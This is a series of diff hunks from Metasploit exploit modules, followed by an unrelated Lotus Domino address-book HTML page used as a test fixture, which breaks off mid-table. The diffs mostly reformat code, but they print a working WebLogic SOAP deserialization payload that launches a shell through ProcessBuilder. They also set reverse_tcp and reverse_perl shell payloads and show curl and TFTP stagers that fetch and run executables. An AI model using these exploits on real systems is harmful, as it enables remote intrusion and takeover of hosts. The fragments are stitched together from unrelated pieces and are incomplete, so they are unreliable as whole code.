|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X64, ARCH_X86],
|
||||
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
|
||||
[
|
||||
'Windows',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X64, ARCH_X86],
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
|
||||
}
|
||||
],
|
||||
[ 'Solaris',
|
||||
'Platform' => 'solaris',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
|
||||
'Payload' => {
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
[
|
||||
'Solaris',
|
||||
{
|
||||
'Platform' => 'solaris',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
|
||||
'Payload' => {
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl telnet',
|
||||
'RequiredCmd' => 'generic perl telnet'
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'WfsDelay' => 12
|
||||
},
|
||||
'DisclosureDate' => '2019-04-23'))
|
||||
'DisclosureDate' => '2019-04-23',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
@@ -76,21 +90,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml',
|
||||
'headers' => {'SOAPAction' => '' }
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml',
|
||||
'headers' => { 'SOAPAction' => '' }
|
||||
)
|
||||
|
||||
if res && res.code == 500 && res.body.include?("<faultcode>env:Client</faultcode>")
|
||||
if res && res.code == 500 && res.body.include?('<faultcode>env:Client</faultcode>')
|
||||
vprint_status("The target returned a vulnerable HTTP code: /#{res.code}")
|
||||
vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}")
|
||||
Exploit::CheckCode::Vulnerable
|
||||
elsif res && res.code != 202
|
||||
vprint_status("The target returned a non-vulnerable HTTP code")
|
||||
vprint_status('The target returned a non-vulnerable HTTP code')
|
||||
Exploit::CheckCode::Safe
|
||||
elsif res.nil?
|
||||
vprint_status("The target did not respond in an expected way")
|
||||
vprint_status('The target did not respond in an expected way')
|
||||
Exploit::CheckCode::Unknown
|
||||
else
|
||||
vprint_status("The target returned HTTP code: #{res.code}")
|
||||
@@ -100,13 +114,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Generating payload...")
|
||||
print_status('Generating payload...')
|
||||
case target.name
|
||||
when 'Windows'
|
||||
string0_cmd = 'cmd.exe'
|
||||
string1_param = '/c'
|
||||
shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encoded: false })
|
||||
when 'Unix','Solaris'
|
||||
shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encoded: false })
|
||||
when 'Unix', 'Solaris'
|
||||
string0_cmd = '/bin/bash'
|
||||
string1_param = '-c'
|
||||
shell_payload = payload.encoded
|
||||
@@ -115,53 +129,53 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
random_action = rand_text_alphanumeric(20)
|
||||
random_relates = rand_text_alphanumeric(20)
|
||||
|
||||
soap_payload = %Q|<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"|
|
||||
soap_payload << %Q|xmlns:wsa="http://www.w3.org/2005/08/addressing"|
|
||||
soap_payload << %Q|xmlns:asy="http://www.bea.com/async/AsyncResponseService">|
|
||||
soap_payload << %Q|<soapenv:Header>|
|
||||
soap_payload << %Q|<wsa:Action>#{random_action}</wsa:Action>|
|
||||
soap_payload << %Q|<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>|
|
||||
soap_payload << %Q|<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">|
|
||||
soap_payload << %Q|<void class="java.lang.ProcessBuilder">|
|
||||
soap_payload << %Q|<array class="java.lang.String" length="3">|
|
||||
soap_payload << %Q|<void index="0">|
|
||||
soap_payload << %Q|<string>#{string0_cmd}</string>|
|
||||
soap_payload << %Q|</void>|
|
||||
soap_payload << %Q|<void index="1">|
|
||||
soap_payload << %Q|<string>#{string1_param}</string>|
|
||||
soap_payload << %Q|</void>|
|
||||
soap_payload << %Q|<void index="2">|
|
||||
soap_payload << %Q|<string>#{shell_payload.encode(xml: :text)}</string>|
|
||||
#soap_payload << %Q|<string>#{xml_encode(shell_payload)}</string>|
|
||||
soap_payload << %Q|</void>|
|
||||
soap_payload << %Q|</array>|
|
||||
soap_payload << %Q|<void method="start"/>|
|
||||
soap_payload << %Q|</void>|
|
||||
soap_payload << %Q|</work:WorkContext>|
|
||||
soap_payload << %Q|</soapenv:Header>|
|
||||
soap_payload << %Q|<soapenv:Body>|
|
||||
soap_payload << %Q|<asy:onAsyncDelivery/>|
|
||||
soap_payload << %Q|</soapenv:Body>|
|
||||
soap_payload << %Q|</soapenv:Envelope>|
|
||||
soap_payload = %(<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/")
|
||||
soap_payload << %(xmlns:wsa="http://www.w3.org/2005/08/addressing")
|
||||
soap_payload << %(xmlns:asy="http://www.bea.com/async/AsyncResponseService">)
|
||||
soap_payload << %(<soapenv:Header>)
|
||||
soap_payload << %(<wsa:Action>#{random_action}</wsa:Action>)
|
||||
soap_payload << %(<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>)
|
||||
soap_payload << %(<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">)
|
||||
soap_payload << %(<void class="java.lang.ProcessBuilder">)
|
||||
soap_payload << %(<array class="java.lang.String" length="3">)
|
||||
soap_payload << %(<void index="0">)
|
||||
soap_payload << %(<string>#{string0_cmd}</string>)
|
||||
soap_payload << %(</void>)
|
||||
soap_payload << %(<void index="1">)
|
||||
soap_payload << %(<string>#{string1_param}</string>)
|
||||
soap_payload << %(</void>)
|
||||
soap_payload << %(<void index="2">)
|
||||
soap_payload << %(<string>#{shell_payload.encode(xml: :text)}</string>)
|
||||
# soap_payload << %Q|<string>#{xml_encode(shell_payload)}</string>|
|
||||
soap_payload << %(</void>)
|
||||
soap_payload << %(</array>)
|
||||
soap_payload << %(<void method="start"/>)
|
||||
soap_payload << %(</void>)
|
||||
soap_payload << %(</work:WorkContext>)
|
||||
soap_payload << %(</soapenv:Header>)
|
||||
soap_payload << %(<soapenv:Body>)
|
||||
soap_payload << %(<asy:onAsyncDelivery/>)
|
||||
soap_payload << %(</soapenv:Body>)
|
||||
soap_payload << %(</soapenv:Envelope>)
|
||||
|
||||
print_status("Sending payload...")
|
||||
print_status('Sending payload...')
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml',
|
||||
'data' => soap_payload,
|
||||
'headers' => {'SOAPAction' => '' }
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml',
|
||||
'data' => soap_payload,
|
||||
'headers' => { 'SOAPAction' => '' }
|
||||
)
|
||||
rescue Errno::ENOTCONN
|
||||
fail_with(Failure::Disconnected, "The target forcibly closed the connection, and is likely not vulnerable.")
|
||||
fail_with(Failure::Disconnected, 'The target forcibly closed the connection, and is likely not vulnerable.')
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
fail_with(Failure::Unreachable, "No response from host")
|
||||
fail_with(Failure::Unreachable, 'No response from host')
|
||||
elsif res && res.code != 202
|
||||
fail_with(Failure::UnexpectedReply,"Exploit failed. Host did not responded with HTTP code #{res.code} instead of HTTP code 202")
|
||||
fail_with(Failure::UnexpectedReply, "Exploit failed. Host responded with HTTP code #{res.code} instead of HTTP code 202")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -26,8 +26,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
issue in conjunction with log poisoning to gain RCE as root.
|
||||
|
||||
Upon successful exploitation, the Aerohive NetConfig application
|
||||
will hang for as long as the spawned shell remains open. Closing
|
||||
the session should render the app responsive again.
|
||||
may hang for as long as the spawned shell remains open. For the
|
||||
Linux target, the MeterpreterTryToFork option (enabled by default)
|
||||
will likely prevent this. If the app hangs, closing the session
|
||||
should render it responsive again.
|
||||
|
||||
The module provides an automatic cleanup option to clean the log.
|
||||
However, this option is disabled by default because any modifications
|
||||
@@ -59,7 +61,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Platform' => 'linux',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
|
||||
'CMDSTAGER::FLAVOR' => 'curl'
|
||||
'CMDSTAGER::FLAVOR' => 'curl',
|
||||
'MeterpreterTryToFork' => true # prevent the web server from hanging when we get a meterpreter session
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
@@ -50,16 +50,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def windows_stager
|
||||
|
||||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.', :cgifname => exe_fname })
|
||||
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
execute_cmdstager({ temp: '.', tftphost: tftphost })
|
||||
@payload_exe = generate_payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
execute_command(@payload_exe)
|
||||
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
|
||||
@@ -53,7 +53,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def windows_stager
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
execute_cmdstager({ temp: '.', tftphost: tftphost })
|
||||
@payload_exe = generate_payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
|
||||
@@ -54,12 +54,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def windows_stager
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
execute_cmdstager({ temp: '.', tftphost: tftphost })
|
||||
@payload_exe = generate_payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
execute_command(@payload_exe)
|
||||
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
|
||||
@@ -344,7 +344,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)
|
||||
|
||||
# Use the CMD stager to get a payload running
|
||||
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
||||
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
execute_cmdstager({ temp: '.', tftphost: tftphost, linemax: 1_400, cgifname: exe_fname, noconcat: true })
|
||||
|
||||
# Save these file names for later deletion
|
||||
@exe_cmd_copy = exe_fname
|
||||
|
||||
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
include Msf::Post::Windows::Runas
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -71,12 +72,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
command_line = nil
|
||||
windir = get_env('windir')
|
||||
|
||||
# Select path of executable to run depending the architecture
|
||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X64
|
||||
application_name = "#{windir}\\SysWOW64\\notepad.exe"
|
||||
else
|
||||
application_name = "#{windir}\\System32\\notepad.exe"
|
||||
unless session.arch == payload.arch.first
|
||||
fail_with(Failure::BadConfig, 'The payload architecture must match the current session architecture.')
|
||||
end
|
||||
# The notepad process to spaw needs to have the same architecture than the payload
|
||||
application_name = get_notepad_pathname(payload.arch.first, get_env('windir'), sysinfo['Architecture'])
|
||||
end
|
||||
|
||||
pi = create_process_with_logon(domain,
|
||||
|
||||
@@ -173,7 +173,8 @@ Processor-Speed=#{processor_speed}
|
||||
# CmdStagerVBS was tested here as well, however delivery took roughly
|
||||
# 30 minutes and required sending almost 350 notification messages.
|
||||
# size constraint requirement for SQLi is: linemax => 393
|
||||
execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\', :flavor => :tftp })
|
||||
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
execute_cmdstager({ delay: 1.5, tftphost: tftphost, temp: '%TEMP%\\', flavor: :tftp })
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
|
||||
@@ -99,8 +99,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
method = datastore['METHOD'].downcase
|
||||
|
||||
if (method =~ /^cmd/)
|
||||
execute_cmdstager({ :linemax => 1500, :nodelete => true })
|
||||
#execute_cmdstager({ :linemax => 1500 })
|
||||
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
execute_cmdstager({ linemax: 1500, tftphost: tftphost, nodelete: true })
|
||||
else
|
||||
# Generate the EXE, this is the same no matter what delivery mechanism we use
|
||||
exe = generate_payload_exe
|
||||
|
||||
@@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
|
||||
def exploit_smb(token)
|
||||
connect
|
||||
connect(versions: [1])
|
||||
|
||||
client = Rex::Proto::SMB::Client.new(sock)
|
||||
|
||||
@@ -153,7 +153,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def exploit_http(token)
|
||||
connect
|
||||
connect(versions: [1])
|
||||
|
||||
req = "GET / HTTP/1.0\r\n"
|
||||
req << "Host: #{ datastore['RHOST']}\r\n"
|
||||
|
||||
@@ -0,0 +1,500 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>Bdn Alln</title><meta http-equiv='expires' content='0'>
|
||||
<link rel=stylesheet type='text/css' href='/names.nsf/cssForm?ReadForm'>
|
||||
<script>
|
||||
var sElementType = 'document';
|
||||
var sDocType = 'person';
|
||||
var sDBFileName = 'names.nsf';
|
||||
var sDocUNID = '9B3aaFA7a1A1bC54d798dB7afA5721E5';
|
||||
var sDefaultView = 'People';
|
||||
var sWebDbName = '/names.nsf/';
|
||||
var isDom6 = true;
|
||||
</script><script src='/names.nsf/WebJSTools?OpenJavaScriptLibrary'></script>
|
||||
<script src='/names.nsf/WebJSNavigationTools?OpenJavaScriptLibrary'></script>
|
||||
<script language="JavaScript" type="text/javascript">
|
||||
<!--
|
||||
// ignore if not Domino 6
|
||||
if (navigator.appCodeName != 'Domino') {
|
||||
if (isDom6) {
|
||||
var hDlgListboxPolicy = new cDlgListbox('Single')
|
||||
}
|
||||
}
|
||||
// -->
|
||||
</script>
|
||||
|
||||
<script language="JavaScript" type="text/javascript">
|
||||
<!--
|
||||
document._domino_target = "_self";
|
||||
function _doClick(v, o, t) {
|
||||
var returnValue = false;
|
||||
var url="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&Click=" + v;
|
||||
if (o.href != null) {
|
||||
o.href = url;
|
||||
returnValue = true;
|
||||
} else {
|
||||
if (t == null)
|
||||
t = document._domino_target;
|
||||
window.open(url, t);
|
||||
}
|
||||
return returnValue;
|
||||
}
|
||||
// -->
|
||||
</script>
|
||||
|
||||
<script language="JavaScript" type="text/javascript">
|
||||
<!--
|
||||
function Action1_onClick() {
|
||||
ntEditDoc('[UserModifier]')
|
||||
}
|
||||
|
||||
function Action2_onClick() {
|
||||
ntCancel()
|
||||
}
|
||||
|
||||
function Action(href,oc,t) { this.href = href; this.onClick = oc; this.target = t; }
|
||||
|
||||
var dominoActions = new Array();
|
||||
dominoActions[1] = new Action(null,Action1_onClick,'_self');
|
||||
dominoActions[2] = new Action(null,Action2_onClick,'_self');
|
||||
function doAction(n) {
|
||||
var action = dominoActions[n];
|
||||
if (action.href)
|
||||
window.open(action.href,action.target);
|
||||
else if (action.onClick) {
|
||||
currentTarget = document._domino_target;
|
||||
document._domino_target = action.target;
|
||||
action.onClick();
|
||||
document._domino_target = currentTarget;
|
||||
}}
|
||||
// -->
|
||||
</script>
|
||||
</head>
|
||||
<body text="#000000" bgcolor="#FFFFFF" topmargin=0 leftmargin=0 marginheight=0 marginwidth=0>
|
||||
|
||||
<form onsubmit="// ignore if not Domino 6
|
||||
if (navigator.appCodeName != 'Domino') {
|
||||
if (isDom6) {
|
||||
syncFields(document.forms[0], 'Certificate')
|
||||
}
|
||||
}
|
||||
return true;" action="">
|
||||
<applet name="dominoActionBar" code="lotus.notes.apps.actionbar.ActionBar.class" codebase="/domjava" archive="actionbar.jar" alt="Aktionsleiste" width="100%" height="38" mayscript>
|
||||
<param name="cabbase" value="actionbar.cab">
|
||||
<param name="BGColor" value="#B1B1D2">
|
||||
<param name="ButtonBGColor" value="#B1B1D2">
|
||||
<param name="BorderColor" value="#000000">
|
||||
<param name="ButtonTransparent" value="1">
|
||||
<param name="ButtonBorderStyle" value="ONMOUSEOVER">
|
||||
<param name="BorderStyle" value="1">
|
||||
<param name="BorderWidth" value="0,3,0,0">
|
||||
<param name="InnerWidth" value="0,0,0,0">
|
||||
<param name="OuterWidth" value="0,0,0,0">
|
||||
<param name="ShowHinkyAlways" value="1">
|
||||
<param name="ButtonHeightType" value="DEFAULT">
|
||||
<param name="ButtonHeight" value="8">
|
||||
<param name="ButtonWidthType" value="DEFAULT">
|
||||
<param name="ButtonWidth" value="0">
|
||||
<param name="ButtonTextJustify" value="3">
|
||||
<param name="FontName" value="Helvetica">
|
||||
<param name="FontSize" value="9">
|
||||
<param name="FontStyle" value="P">
|
||||
<param name="TextColor" value="#000000">
|
||||
<param name="Action1" value="Edit Person,/names.nsf/btnEdit.gif?OpenImageResource,1,0,1,1,0,0">
|
||||
<param name="Action2" value="Cancel,/names.nsf/btnCancel.gif?OpenImageResource,2,0,1,1,0,0">
|
||||
<param name="NumActions" value="2">
|
||||
</applet>
|
||||
|
||||
<table cellpadding=10 width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td style="background-image:url(/names.nsf/people?OpenImageResource); background-repeat: repeat-x; " width="100%"><font size="5" color="#424282">Person</font><font size="5" color="#424282">: </font><b><font size="5" color="#424282">Bdn Alln</font></b><font size="5" color="#424282"> </font><font size="5" color="#424282"> </font><b><font color="#424282"></font></b></td></tr>
|
||||
</table>
|
||||
|
||||
<table border="0" cellspacing="2">
|
||||
<tr><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><b>Basics</b></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.1#12." target="_self">Work/Home</a></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.2#12." target="_self">Other</a></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.3#12." target="_self">Miscellaneous</a></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.4#12." target="_self">Certificates</a></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.5#12." target="_self">Roaming</a></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.8#12." target="_self">Administration</a></div></td></tr>
|
||||
</table>
|
||||
</td></tr>
|
||||
</table>
|
||||
|
||||
<table id="Person_Main" cellpadding=7 width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td width="100%">
|
||||
<table width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td width="54%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
|
||||
<table id="Person_Basics" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td width="1%" bgcolor="#B1B1D2"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<b><font size="2" color="#FFFFFF">Basics</font></b></td><td width="100%" bgcolor="#B1B1D2"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">First name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Bdn</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Middle name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Last name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Alln</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">User name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Bdn Alln</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Alternate name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font>
|
||||
<p><font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Short name/UserID:</font></td><td width="100%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Bdn Alln</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Personal title:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Generational qualifier:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Internet password:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Preferred language</font><font size="2">:</font></td><td width="100%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
</table>
|
||||
</td><td style="padding-left:10px;" width="0%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td><td width="46%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
|
||||
<table id="Person_Mail" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td width="1%" bgcolor="#B1B1D2"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<b><font size="2" color="#FFFFFF">Mail</font></b></td><td width="100%" bgcolor="#B1B1D2"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Mail system:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Notes</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Domain:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Mail server:</font></td><td nowrap width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Mail file:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">portal/Alln_1.nsf</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Forwarding address:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Internet address:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Format preference for incoming mail:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Keep in senders' format</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">When receiving unencrypted mail, encrypt before storing in your mailfile:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">No</font></td></tr>
|
||||
</table>
|
||||
|
||||
<table id="PerSchTable" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td id="PerSchTable_a" width="1%" bgcolor="#B1B1D2" valign="middle"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<b><font size="2" color="#FFFFFF">Collaboration</font></b></td><td id="PerSchTable_b" width="100%" bgcolor="#B1B1D2" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Instant messaging server:</font></td><td nowrap width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
